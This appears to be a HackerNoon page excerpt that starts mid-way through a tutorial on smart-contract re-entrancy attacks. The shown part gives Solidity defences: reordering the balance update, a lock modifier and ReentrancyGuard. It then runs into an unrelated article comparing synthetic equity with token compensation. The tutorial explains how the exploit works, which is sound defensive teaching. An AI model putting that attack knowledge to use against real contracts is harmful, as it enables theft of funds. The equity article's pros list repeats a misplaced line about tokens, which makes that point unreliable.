ether is exhausted. At this time, there are 4 ethers in the Attack contract. Besides the 1 ether Eve deposited herself, she also stole 3 ethers from Alice and Bob. How to Prevent Such Re-Entrancy Attacks This attack exploits the lag in modifying the depositor's balance in the EtherStore.withdraw() function and the characteristic of smart contracts automatically falling into the receive or fallback function after receiving ether. The essence is still a flaw in the logic of the EtherStore contract itself. Therefore, we can prevent such attacks in the following three ways: Modify the logic of the withdraw function in the EtherStore contract, for example, by modifying the depositor's balance before the withdrawal action occurs. This way, even if the withdrawal fails and the entire transaction reverts, the depositor's balance can be restored to its previous value. For example: function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);
				balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
    } Write a simple modifier yourself to lock the state during the function's execution, thereby avoiding recursive calls between contracts. For example: contract EtherStore {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
} In this example, the variable locked is modified to true before executing the withdraw() function. When the Attack contract recursively calls the EtherStore contract, the transaction will fail due to the presence of the require (!locked, "No re-entrancy"); check. Use OpenZeppelin's ReentrancyGuard. This library provides a modifier called nonReentrant, which prevents a function from being called again during its execution. We need to inherit "ReentrancyGuard" in the contract, and mark the functions you want to protect with the nonReentrant modifier, such as the withdraw function here. 👍😊 That's the discussion about Re-Entrancy vulnerabilities and related security strategies. Since you've made it this far, please give me a like!

What Is a Re-Entrancy Attack in Smart Contracts, and How to Avoid It? 🛡️🔒

In the ever-evolving landscape of modern business, companies face a critical choice when it comes to rewarding and motivating their key talent. The debate between adopting traditional token distribution models and embracing Synthetic Equity with deferred cash payments based on performance has continued to shape the compensation strategies of organizations worldwide. This article explores synthetic equity and its appropriateness for specific capital and tax structures. By illustrating its flexibility and benefits in owner succession, it showcases its potential through a compelling case study and offers insights into the advantages and pitfalls of each approach. Comparing Synthetic Equity And Traditional Token Synthetic equity, unlike traditional equity plans, is a compensation approach that grants executives and contract-based employees the right to a defined portion of enterprise value without requiring them to invest their own capital. It offers exceptional versatility and can be tailored to meet specific criteria related to who receives what, when, and under what conditions in terms of value sharing. It offers an alternative to the traditional token issuance model, integrating performance management seamlessly. It aligns stakeholder and shareholder interests, encourages innovation, and rewards high performance. Furthermore, it addresses a common challenge faced by startups—creating and measuring key performance indicators (KPIs). Synthetic equity is ideal for companies committed to thriving and nurturing top talent. Individuals who meet their KPIs are rewarded, while those failing to contribute positively to the business unit's performance forfeit part of their compensation. Token Distribution: Pros: Immediate Ownership: Token distribution provides immediate ownership, aligning team members with the project's success from the outset. Strong Incentive: Tokens are potent incentives, as their value can soar if the project prospers. Transparency: Blockchain-based tokens often offer transparency and traceability in ownership and transactions. Avoiding Ownership Dilution: Tokens allow companies to avoid diluting their cap tables. Payment Efficiency: Salaries and performance-based bonuses in token form can conserve cash reserves, with employees seeking liquidity in the market. Cons: Market Volatility: Token values can be highly volatile, creating uncertainty for team members. Limited Liquidity: Token liquidity constraints make converting tokens into cash challenging. Tax Implications: Transferring token value can trigger income tax obligations. Legal and Regulatory Compliance: Issuing tokens, especially in countries like the US, often involves legal, financial, and administrative hurdles. Access to Top Talent: High-caliber talent may be hesitant to accept tokens due to market volatility. Synthetic Equity: Pros: Performance-Driven: Synthetic Equity and deferred cash payments link rewards directly to individual or team performance, fostering a strong work ethic. Predictable Rewards: Cash payments offer stability and predictability compared to volatile tokens. Flexibility: Synthetic Equity and cash incentives can be customized to align with specific performance metrics and goals. Avoiding Ownership Dilution: Tokens allow companies to avoid diluting their cap tables. Value for Investors: High-performing organizations often deliver greater value to shareholders. Cons: Performance management system set up: Synthetic Equity requires strong expertise in establishing performance management and incentive structures. Delayed Ownership: Synthetic Equity lacks the immediate ownership associated with tokens. Administrative Complexity: Implementing and managing a comprehensive incentives program can be administratively intricate. How Companies Make Decisions The decision between token distribution and Synthetic Equity hinges on an organization's objectives, risk tolerance, and the preferences of founders and team members. Some organizations may choose a combination of both to balance immediate ownership and performance-based incentives. Legal, regulatory, and tax considerations, as well as project dynamics, must be carefully weighed. Consulting with legal and financial experts can prove invaluable in crafting an effective and compliant compensation strategy. Synthetic equity is a powerful tool for attracting, retaining, and rewarding top talent, especially in owner succession planning. However, many business owners and advisors possess only a rudimentary understanding of synthetic equity and its design. Six Fundamental Examples Of Synthetic Equity Programs: Phantom Stock: An executive is entitled to a percentage share of the company's value. For example, Joe holds 5% of the company's value expressed as phantom stock. Phantom Stock Over An Owner's Threshold: An executive has the right to a percentage share of the company's value beyond an initial fixed threshold value or formula. For instance, Joe has 5% of the company's value above $10 million. Stock Appreciation Rights (SARs): Executives are granted the right to share in a set percentage of the company's value exceeding its value at the time of the grant—similar to employee stock options. For instance, Joe has 5% of the company's value above the current valuation of $20 million. Value Band Plans: Executives are entitled to a graduated percentage share of the company's value based on predetermined thresholds. For example, Joe has a baseline right to 3% of the company's value and can earn an additional 1% for every $10 million in growth, with a maximum share of 7%. Sales Bonus In the Event of Change of Control: Executives are entitled to a percentage share of the company's value payable exclusively in the event of a change of control. For example, Joe has 5% of the company's value expressed as phantom stock, payable only if a change of control occurs. Simulated Equity Plan: Executives are entitled to a percentage share of the value of a specific division or segment of the company, determined by a predefined formulaic breakup value of the company. For instance, Joe holds 5% of the European division's value based on a preset formulaic breakup value of the company. Benefits Of Synthetic Equity Programs Flexibility These diverse synthetic equity programs offer flexibility and the ability to tailor incentive structures to meet specific business objectives and circumstances. The possibilities are virtually endless. Synthetic equity is akin to a sculptor's clay for incentive structures—it can be molded into a wide array of forms to suit a business owner's preferences. It can transform from a tracking stock to a pure performance-based incentive. Independence Synthetic equity operates independently of the company's shareholders' agreement and related buy-sell terms. This independence grants a high degree of flexibility, particularly concerning payout. Synthetic equity agreements must adhere to IRS code section 409A, which outlines rules governing plan payouts. According to 409A, synthetic equity plans can be triggered by six permissible events or plan termination. Control Three events that cannot be predicted are death, disability, and unforeseeable emergencies, while the three strategic triggers are change of control, time certain, and separation of service. Consequently, business owners have the authority to determine when executives can realize the value of the plan. This contrasts with a typical employee stock option plan, where executives decide when to "exercise" their stock options independently. In summary, synthetic equity plans provide business owners with enhanced control and flexibility in terms of plan design and payout. Combining Synthetic Equity And Traditional Token: A Blockchain Approach However, Synthetic Equity alone is just a piece of the puzzle, to fully unlock the potential of token economies and performance management, there should be a collaboration between the Synthetic Equity model and the normal token distribution model. In this combined system, the blockchain is the railroad, Synthetic Equity acts as the conductor, and the token is the cargo. In this hybrid model, all of the individual benefits can be realized and taken advantage of with more dynamic offerings. While token distribution still goes from the company (Point A) to the employee ( Point B), Synthetic Equity governs the amount of that token (cargo) that will be delivered and at what time. In this framework, there is still the ability to distribute tokens in a streamlined manner irrespective of KPIs, allowing normal salaries or preexisting agreements to remain constant. However, as the business grows, companies would be able to implement more intricate performance management systems without further complicating the current distribution model. Synthetic Equity should be seen as a vessel to carry out the most effective compensation models in dynamic organizations. Conclusion Synthetic equity stands as a compelling option for organizations seeking to optimize cash resources, empower succession, and reward high performance. Unlike the traditional token distribution model, it offers a robust and flexible framework, ensuring that top talent remains motivated and aligned with organizational goals. Embracing Synthetic Equity can truly set a company on the path to sustained high performance and success. This article(Unlocking Performance And Rewards: Synthetic Equity v Token)was co-authored by Ema Vukovic(Principal at Agile Dynamics), Hunter Riedel (Principal at Agile Dynamics) and Paul Lalovich (Partner at Agile Dynamics). I hereby disclose that I was duly granted the permission to edit and publish it on HackerNoon as an addition to the body of work on Tokenomics.

Stories, News & Mentions about PAYABLE

Payable’s Stories on HackerNoon